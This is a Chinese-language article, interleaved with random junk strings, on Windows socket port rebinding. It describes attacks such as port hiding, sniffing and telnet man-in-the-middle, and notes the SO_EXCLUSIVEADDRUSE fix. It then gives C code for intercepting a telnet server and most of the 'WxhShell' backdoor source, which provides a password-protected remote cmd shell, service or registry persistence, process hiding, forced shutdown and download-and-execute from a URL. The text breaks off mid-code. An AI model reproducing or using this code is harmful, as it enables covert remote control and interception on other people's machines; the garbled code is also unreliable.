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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HX`>"
?{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
D=!T,p= dBeZx1Dy saddr.sin_family = AF_INET; aGx[?}= g.:b\JE ` saddr.sin_addr.s_addr = htonl(INADDR_ANY); kw$*o
k 9^zA( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oScKL#Hu r.vezsH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v-MrurQ4 d^:(-2l- 这意味着什么?意味着可以进行如下的攻击: ?AlTQL~c )*m#RqLQ8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bpaS(nBy 7,!$lT# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x 3C^ S~ 8jdEx&K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +wpQ$)\ 8j^3_lD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 mW 4{* Cu,#w3JR 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #^zUaPV 7r 0Vwl\,7z9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x#hGJT k0>]7t$L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =K`]$Og}8 FJC}xEMcN #include ?,AWXiif #include &`}8Jz=S #include T/YvCbo #include IPxK$nI^ DWORD WINAPI ClientThread(LPVOID lpParam); \*r]v;NcP int main() Y5XhV;16 { '"4S3Fysm WORD wVersionRequested; ^1jZwP;5eW DWORD ret; [+_0y[~,tB WSADATA wsaData; 8EC$p} S BOOL val; O@)D%*;v SOCKADDR_IN saddr; &"/IV$H SOCKADDR_IN scaddr; 0'nY int err; Ed ,O>( SOCKET s; z'rB_l SOCKET sc; +H `FC int caddsize; =L F9im HANDLE mt; +}-Ecr DWORD tid; ,2/y(JX}*! wVersionRequested = MAKEWORD( 2, 2 ); %7n(>em err = WSAStartup( wVersionRequested, &wsaData ); \|< 5zL if ( err != 0 ) { #$*l#j"#A printf("error!WSAStartup failed!\n"); j%TcW!D-_ return -1; QBwgI>zfS" } j{ :>"6 saddr.sin_family = AF_INET; lr-:o@q{ /2jw]ekQ' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y?b4* me @`S8d%6P saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sncc DuS saddr.sin_port = htons(23); #>[5NQ;$' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !tckE\ h#N { 1XD|H_JG<j printf("error!socket failed!\n"); TxDzGC return -1; kE*OjywN } QmRE<i val = TRUE; XL2iK) A //SO_REUSEADDR选项就是可以实现端口重绑定的
#->#mshd4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qFwJ%(IQ { r[votdFo printf("error!setsockopt failed!\n"); 5:6]ZFW return -1; @,%IVKg\ } 18{" @<wIs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o9 g0fC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |-!
yKB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Im0 #_
\ *j/[5J0'M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /GDGE } { 4Px ret=GetLastError(); Q?7:XbN printf("error!bind failed!\n"); +~] :oj return -1; 0oU;Cmw. } jn/
J-X= listen(s,2); f6O5k8n while(1) VsTa!V^~ { 7]&ouT caddsize = sizeof(scaddr); b :J$ //接受连接请求 HaiaDY) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }ki}J >j|f if(sc!=INVALID_SOCKET) TexSUtx@$ { g#b uy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VfON{ 1g if(mt==NULL) cJQ& #u { [bIR$c[G printf("Thread Creat Failed!\n"); S`v+rQjW break; FaVeP%v } g XThdNU4G } *M^t@ h l CloseHandle(mt); &8^ch,+pD } KfkE'_F closesocket(s); m=.}}DcSs WSACleanup(); r|!r!V8j return 0; $hGiI } FY(C<fDRo{ DWORD WINAPI ClientThread(LPVOID lpParam) Wgr`)D { 3.vQ~Fvl SOCKET ss = (SOCKET)lpParam; (}:n#|,{M SOCKET sc; A;g{H| unsigned char buf[4096]; 3Hg}G#]WS SOCKADDR_IN saddr; 7x ?2(( long num; Bx&F* a;5 DWORD val; fj,]dQT DWORD ret; ^,;AM(E //如果是隐藏端口应用的话,可以在此处加一些判断 M(+;AS?; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 g\O&gNq<)- saddr.sin_family = AF_INET; ]0yYMnqvr saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |fTWf}Jx saddr.sin_port = htons(23); @Y8/#6KE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ( 8}'JvSu { hr)CxsPoRQ printf("error!socket failed!\n"); sH}q &= return -1; \XI9 +::% } 057$b!A-a val = 100; h~zG*B5F if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |m5 E%E { qV`JZ\n ret = GetLastError(); _# mo6')j return -1; v7kR]HU[y } sKLH.@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S7_^E { ^3:y<{J ret = GetLastError(); 5/{";k)L+ return -1; 3jG
#<4;J } yk<$XNc if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PiTe/ { G>q16nS~KP printf("error!socket connect failed!\n"); OalBr?^ closesocket(sc); 83ajok4E closesocket(ss); QoVRZ $!p return -1; FYtf<C+ } EDkxRfY2/ while(1) z%pD3J?> { 9^5D28y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aTx*6;-PH //如果是嗅探内容的话,可以再此处进行内容分析和记录 `AO<r //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8iDg2_l`G num = recv(ss,buf,4096,0); -<0PBl if(num>0) Q:#Kt@W send(sc,buf,num,0); i$Sq.NU else if(num==0) J/o$\8tiMw break; w_ sA8B num = recv(sc,buf,4096,0); yXdJ5Me(T if(num>0) G L> u3K send(ss,buf,num,0); 0D*uZ,oBEw else if(num==0) e yLVu. break; +uY)MExs2 } 3n=`SLj/a closesocket(ss); s?2DLXv}! closesocket(sc); m@_m"1_; return 0 ; lv*fK } 't5 I%F /#,3JU$w C<?Huw4R0 ========================================================== O!c b- Lk-%I? 下边附上一个代码,,WXhSHELL clwJ+kku@ w|uO)/v ========================================================== rq.S0bzH W"@FRWcd #include "stdafx.h" MGmUgc N%,!&\L #include <stdio.h> 5}/TB_W7j #include <string.h> |=Mn~`9p #include <windows.h> NQD*8PGfj #include <winsock2.h> Po:)b #include <winsvc.h> BRx`83CK #include <urlmon.h> Jf,)Y>EI bBFdr #pragma comment (lib, "Ws2_32.lib") !w[io; #pragma comment (lib, "urlmon.lib") %!>~2=Q2* FrXh\4C #define MAX_USER 100 // 最大客户端连接数 aB(6yBBoxj #define BUF_SOCK 200 // sock buffer [AZN a #define KEY_BUFF 255 // 输入 buffer _IK@K6V1 j9=QOq #define REBOOT 0 // 重启 %qM3IVPK)q #define SHUTDOWN 1 // 关机 sZ,mRT NNt,J; #define DEF_PORT 5000 // 监听端口 | Ts0h?"a =7Wr #define REG_LEN 16 // 注册表键长度 gD\ = #define SVC_LEN 80 // NT服务名长度 r9a?Y!( {[&_)AW6m% // 从dll定义API -[I}"Glz: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \9S&j(I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KvM}g2" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); INyakAmJ}- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e (^\0 =u< '~1uJ0H // wxhshell配置信息 Q6?}/p struct WSCFG { vIoV(rc+ int ws_port; // 监听端口 #\[((y:q char ws_passstr[REG_LEN]; // 口令 [,F5GW{x int ws_autoins; // 安装标记, 1=yes 0=no 6L~tUe.G char ws_regname[REG_LEN]; // 注册表键名 J)w58/`?t char ws_svcname[REG_LEN]; // 服务名 l9J ]<gG char ws_svcdisp[SVC_LEN]; // 服务显示名 nj7wc9z4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 z'G~b[kG4n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2{!^"iW int ws_downexe; // 下载执行标记, 1=yes 0=no 4gTD HQP char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" }- Jw"|^W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DJtKLG0 mv1_vF: }; QDRgVP ;plzJ6> // default Wxhshell configuration I.<>6ISI@ struct WSCFG wscfg={DEF_PORT, 0#}@-e "xuhuanlingzhe", 6E!C xXUX 1, Q&Rj)1! "Wxhshell", Daa2.* "Wxhshell", NC*h7 "WxhShell Service", u0md ^ "Wrsky Windows CmdShell Service", rsp?N{e "Please Input Your Password: ", O1.a=O 1, Om%9 x " http://www.wrsky.com/wxhshell.exe", +M+ht "Wxhshell.exe" axl!zu* }; CL^MIcq? FuZ7xM, // 消息定义模块 4s!rrDN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#!?5^O char *msg_ws_prompt="\n\r? for help\n\r#>"; |/?)u$U< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; B}.G(-u?7 char *msg_ws_ext="\n\rExit."; rmCrP( char *msg_ws_end="\n\rQuit."; k-LB %\p char *msg_ws_boot="\n\rReboot..."; Tm8c:S^uq) char *msg_ws_poff="\n\rShutdown..."; ^oFg5 char *msg_ws_down="\n\rSave to "; KfXE=v{t X5'QYZ6kv char *msg_ws_err="\n\rErr!"; }ST9&wi~ char *msg_ws_ok="\n\rOK!"; M'=27!D^ *3hqz<p4: char ExeFile[MAX_PATH]; 3f`+-&|M int nUser = 0; UGy~Ecv HANDLE handles[MAX_USER]; glk_*x int OsIsNt; <t{T]i+ v'C`;I SERVICE_STATUS serviceStatus; !O=J8;oLk SERVICE_STATUS_HANDLE hServiceStatusHandle; Wmp,,H FDB^JH9d // 函数声明 5Pis0fa int Install(void); ]_S&8F}| int Uninstall(void); =o5ZcC int DownloadFile(char *sURL, SOCKET wsh); $Nr :YI int Boot(int flag); ~;Ga65_6_ void HideProc(void); aDx{Q& int GetOsVer(void); H)$-T1Wx4 int Wxhshell(SOCKET wsl); U@<>2 void TalkWithClient(void *cs); Ix,`lFbH int CmdShell(SOCKET sock); N#')Qz:P int StartFromService(void); Go}C{(4T int StartWxhshell(LPSTR lpCmdLine); I$4GM #Nt?4T< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C:n55BE9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q(-:)3g[aL ^ ~HV`s // 数据结构和表定义 m8F-#?~ SERVICE_TABLE_ENTRY DispatchTable[] = eUYd0L! { #\G{2\R {wscfg.ws_svcname, NTServiceMain}, zof>S>5>R7 {NULL, NULL} A f@IsCOJ }; 1"r6qYN!> }bG|(Wp9 // 自我安装 ~n#rATbxf int Install(void) W@w#A] { o$4n D#P3 char svExeFile[MAX_PATH]; L Ty[) HKEY key; %,rUN+vW strcpy(svExeFile,ExeFile); t)74( DWep5$>&K // 如果是win9x系统,修改注册表设为自启动 .~0A*a if(!OsIsNt) { (( 0%>HJ{~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xp%,@]p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mnM#NT5] RegCloseKey(key); 8t!/Op? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^tIi;7k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "E;]?s9x RegCloseKey(key); j_E$C.XU{g return 0; T<\Q4Coth } 2G8f4vsC[ } !Y3w]_x[: } J7BfH,o else { ~S)o(' B*A{@)_ // 如果是NT以上系统,安装为系统服务 0+b1R}!2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C8%Io l if (schSCManager!=0) 83UIH0( { d-g&TSGd SC_HANDLE schService = CreateService 2H8,&lY.p ( xX`P-h>V`c schSCManager, (eI'%1kS< wscfg.ws_svcname,
N3Ub|$}q wscfg.ws_svcdisp, mh>)N" SERVICE_ALL_ACCESS, 5V\\w~&/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jE.U~D)2YF SERVICE_AUTO_START, 9u/ "bj SERVICE_ERROR_NORMAL, r5z_{g svExeFile, %N@454enH NULL, [k(oQykq NULL, c *(]pM NULL, +Sk ; NULL, \+mc NULL |s
:b9sfA ); XM$r,}B k if (schService!=0) k41lw^Jh { vW`{BWd CloseServiceHandle(schService); [1@-F+ CloseServiceHandle(schSCManager); `#hdb=3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yw`xK2(C$ strcat(svExeFile,wscfg.ws_svcname); |HXI4MU" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X62h7?'Pd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'u$e2^ RegCloseKey(key); s4bLL return 0; [)|P-x-< } MV5'&" ,oB } QT /TZ: CloseServiceHandle(schSCManager); ++-\^'&1 } 0n+Wv@/ } U@dztX@u r#
5))q- return 1; HONrt|c } .WA(X5 LbDhPG`u // 自我卸载 @a)
x^d int Uninstall(void) pPm[<^\# S { E_]L8UC;m
HKEY key; .vG_ \-@ L)JpMf0 if(!OsIsNt) { .w^M?}dx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /u{ 9UR[g RegDeleteValue(key,wscfg.ws_regname); L3P _ RegCloseKey(key); =NwmhV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Me[T=Tt`@w RegDeleteValue(key,wscfg.ws_regname); Ub%+8M RegCloseKey(key); C)/uX5 return 0; K:fK!/ } RG|]Kt8 } ?V%x94B } EO$_]0yI;_ else { :^FOh*H 1SeDrzLA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (UPkb$Qc if (schSCManager!=0) 3}}~( { d paZ6g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TLzg* if (schService!=0) rIp84} { ET1/oG<@ if(DeleteService(schService)!=0) { I&qT3/SVI CloseServiceHandle(schService); Ce}wgKzr CloseServiceHandle(schSCManager); 0\O*\w? return 0; 6*Jd8Bva\o } >l{<p( CloseServiceHandle(schService); h|"98PI } \[oU7r}?/V CloseServiceHandle(schSCManager); 7yxZe4~|# } jftoqK-
p } \k_0wt2x1 FqAW>< return 1; LF?83P,UJ# } aPaGnP:^ mw";l$Aq} // 从指定url下载文件 [_Y\TdR int DownloadFile(char *sURL, SOCKET wsh) Urur/_]-% { J:Uf}!D HRESULT hr; T (] char seps[]= "/"; "knSc0,u char *token; {; ]:}nA char *file; Q[`J= char myURL[MAX_PATH]; /~V.qisZ char myFILE[MAX_PATH]; <@ D`16%& 'm9f:iTr strcpy(myURL,sURL); LGZ5py=xb token=strtok(myURL,seps); 6b4Kcl <i while(token!=NULL) <_-&{Pv { )vO;=%GQ file=token; cZT;VmC token=strtok(NULL,seps); 1ux~dP } /\*,|y\< nw[DI%Tp GetCurrentDirectory(MAX_PATH,myFILE); ,$@nbS{Q] strcat(myFILE, "\\"); H[?~u+ strcat(myFILE, file); ja*k\w{U' send(wsh,myFILE,strlen(myFILE),0); tJo,^fdfv send(wsh,"...",3,0); zd AqGQfc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F;Ms6 "K if(hr==S_OK) =cE:,z;g return 0; R4GmUCKB= else 2j8^Z return 1; 5OP$n]|( gBz$RfyF } Ac!,#Fq #k5WTcE // 系统电源模块 _S5\5[^ int Boot(int flag) eW#U<x%P { awN{F6@ZE HANDLE hToken; S]iMZ \I/ TOKEN_PRIVILEGES tkp; \^2%v~
mz@`*^7? if(OsIsNt) { cMOvM0f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :#v8K;C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .f
4a+w tkp.PrivilegeCount = 1; NKB,D$!~& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vc|r(lM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \)859x&( if(flag==REBOOT) { n-[J+DdB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uZ][#[u return 0; }yCJ#} } vAiNOpz# else { J&%vBg^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E"!C3SC [ return 0; dP[l$/ } qG3 [5lti } jXq~ x"( else { xevG)m if(flag==REBOOT) { -]"=b\Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aZ^P*|_K3 return 0; K}ACZT)Wp } Dv?'(.z else { jV)!9+H# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B~oSKM%8R return 0; `"QUA G } g{wIdV } (v(!l=3 gv$6\1 return 1; V_jVVy30Ji } aCzdYv\} & ""l_&3oz // win9x进程隐藏模块 ]z`Y'wSxd void HideProc(void) xMJF1O?3 { vf(8*}'!Q Dgh|,LqUB HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S@]7
if ( hKernel != NULL ) ~8~B VwZ_ { bHE'R!* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z52T"uW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $+P9@Q$ FreeLibrary(hKernel); \7z&iGe! } Zy^mSI4i bf2R15|t5` return; xExy?5H7 } q+2yp&zF NfcY30}: // 获取操作系统版本 7><n e|% int GetOsVer(void) CK[2duf^~ { B;tU+36nM OSVERSIONINFO winfo; Cd)e_& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Et~b^8$> GetVersionEx(&winfo);
@>f]0,"( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0L10GJ "( return 1; [o8a(oC else 1\1a;Q3W%, return 0; -e7|DXj } Knsb`1"E^6 b9%}<w // 客户端句柄模块 Pm; /Ua int Wxhshell(SOCKET wsl) 5 (bG { cC
w,b] SOCKET wsh; pj>b6^TI6C struct sockaddr_in client; 'Ht$LqG DWORD myID; )BNm~sP Q(h,P+ while(nUser<MAX_USER) F^bC!;~x { {V%ZOdg9 int nSize=sizeof(client); Ib.`2@o& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'JY*K:- if(wsh==INVALID_SOCKET) return 1; UI|L;5 *9e T#dH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AfW63;kH if(handles[nUser]==0) 8=ubMqr[ closesocket(wsh); !J!zi else pgz3d{]ua nUser++; 1;r^QAK& } Va Z+TE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =MO2M~e! 6'ye-}vD- return 0; WmLl.Vv= } awuUaE Zy@35;r // 关闭 socket %Q"zU9 void CloseIt(SOCKET wsh) 0?l|A1I% { Y9~;6fg closesocket(wsh); k9UmTvX nUser--; [9UKVnX.V ExitThread(0); %lNWaA } E
}|g3 (WiA // 客户端请求句柄 !OM9aITv[ void TalkWithClient(void *cs) \lHi=}0 { ="
K;3a`GI Pa2HFy2 SOCKET wsh=(SOCKET)cs; ~jAOGo/&6 char pwd[SVC_LEN]; =BY)>0?z char cmd[KEY_BUFF]; B5Rm z& char chr[1]; )xCpQ=nS int i,j; ]3hz{zqV^ I=&5m g=m while (nUser < MAX_USER) { >bxT_qEm D.)$\Caq if(wscfg.ws_passstr) { k6rX/ocu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *JGm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iQ*JU2;7t //ZeroMemory(pwd,KEY_BUFF); d+~c$(M) i=0; VBR@f<2L while(i<SVC_LEN) { wE3^6 /tA$'tZ // 设置超时 FOpOS?Cr' fd_set FdRead; PYr#vOH struct timeval TimeOut; {r.#R|
4v FD_ZERO(&FdRead); mJewUc!<5 FD_SET(wsh,&FdRead); gwQL9
UYx TimeOut.tv_sec=8; lJoMJS;S]} TimeOut.tv_usec=0; &J^@TgqL^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |DfYH~@( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,^O**k9F `m<l8'g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cca(
oV pwd =chr[0]; N J:]jd if(chr[0]==0xd || chr[0]==0xa) { k#`.!yI, pwd=0; O]w &uim break; Q@%VJPLv. } AQ. Y-'\t i++; `d6
{Tli } ~ $#DB@b f[ GH // 如果是非法用户,关闭 socket MUz.-YRt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oLk>|J } a}`4BMi3 UY
j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JI )+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Y@6oT gj\r>~S while(1) { ;3Fgy8T eB/3MUz1 ZeroMemory(cmd,KEY_BUFF); VJD$nh
#M5 k]Y+C@g // 自动支持客户端 telnet标准 >!A&@1[M j=0; !l~tBJr*sB while(j<KEY_BUFF) { 8gJ"7,}-' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?nrd$, cmd[j]=chr[0]; ^C>i(j& if(chr[0]==0xa || chr[0]==0xd) { Lcplc"C cmd[j]=0; 9C[3w[G~C break; dGQxGt1 } 8^p/?R^bu j++; ^SxB b,\ } eznw05U xZtA) Bp // 下载文件 6VolTy@(x if(strstr(cmd,"http://")) { cg7NtY send(wsh,msg_ws_down,strlen(msg_ws_down),0); JoKD6Q1D if(DownloadFile(cmd,wsh)) 1mL--m'r send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nol',^) else $rs7D}VNc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{]Tb= } m^U\l9LE else { )8ctNpQt b'Z#RIb switch(cmd[0]) { _.J{U0N ^w^cYM, // 帮助 W6&".2 case '?': { [:a;|t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :~:(49l break; Y1{6lhxgE } E8jdQS|i // 安装 &AGV0{NMh] case 'i': { vkE6e6,Qc if(Install()) "<3PyW?zt send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^O#,%>1J else y2\, L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T9{94Ra break; "FcA:7 + } *ky5SM(NR // 卸载 qOZe\<.V< case 'r': { '68{dyFZL if(Uninstall()) 7R<<}dA] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4xT(Uj else PQ@(p% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [rU8% break;
?.|qRzWL } vrGRZa // 显示 wxhshell 所在路径 @s2z/h0H case 'p': { y M , hF char svExeFile[MAX_PATH]; |w6:mtaS strcpy(svExeFile,"\n\r"); +H/^RvUjF strcat(svExeFile,ExeFile); !s\-i6S> send(wsh,svExeFile,strlen(svExeFile),0); @`$8rck` break; Eo)Q> AM } ~8`r.1aUO // 重启 e_g7E+6 case 'b': { *M/3 1qI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FlD
!? if(Boot(REBOOT)) Wh(V?!^@5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2<fG= I8 else { ?b2"~A closesocket(wsh); -nN }8&l ExitThread(0); s4;SA } q3T'rw%Eh break; ?5'UrqYSW } <bXfjj6YJ@ // 关机 mcb0% case 'd': { >\^:xxTf send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P
et0yH if(Boot(SHUTDOWN)) _4owxYSDke send(wsh,msg_ws_err,strlen(msg_ws_err),0); <2diO= else { %1@+pf/ closesocket(wsh); GasIOPzK ExitThread(0); d;:+Xd` } b0tr)>d break; ;-n+=@]7 } mxq'A // 获取shell 3Q~ng2Wv% case 's': { n_)d4d zl CmdShell(wsh); -"\z|OQ closesocket(wsh); bf'@sh%W ExitThread(0); /AjGj*O break; Q6RBZucv } kE UfQLbn // 退出 Goz9"yazg case 'x': { ;?yd;GOt) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "[BuQ0(g CloseIt(wsh); Kv{i_%j
break; w \i# } 9@Cqg5Kx' // 离开 -1:yqF.x case 'q': { $vTU|o>| send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pd%o6~_* closesocket(wsh); -_%n\# WSACleanup(); &( b\jyf
exit(1); wP+wA}SN break; BB|w-W=Kd } + 3aAL& } 4 rw<C07Z } ^WVH z;
(4>k+ H // 提示信息 j Bl I^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +g/y)] AP } |B;:Ald } {E@Vh
kRTT
~ return; X@\rg}kP } x!tCK47Yq [wjA8d. // shell模块句柄 L@ql)Lc); int CmdShell(SOCKET sock) H--(zxK { ,-vbR& STARTUPINFO si; RoJ{
ou@cs ZeroMemory(&si,sizeof(si)); &`Z>z T} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ bexXYh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W.HM!HQp PROCESS_INFORMATION ProcessInfo; ,+oQ 5c(f char cmdline[]="cmd"; Hb#8?{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mf<Pms\F return 0; <FRYt-+ } bfQ+}|; WDP$w(M // 自身启动模式 t1 OnA#]/_ int StartFromService(void) *<i
{
Mb Q { vc^qpOk typedef struct SYw>P1 { u1~H1
]Ii DWORD ExitStatus; ss-{l+Z5 DWORD PebBaseAddress; "/S-+Ufn DWORD AffinityMask; 2p Q
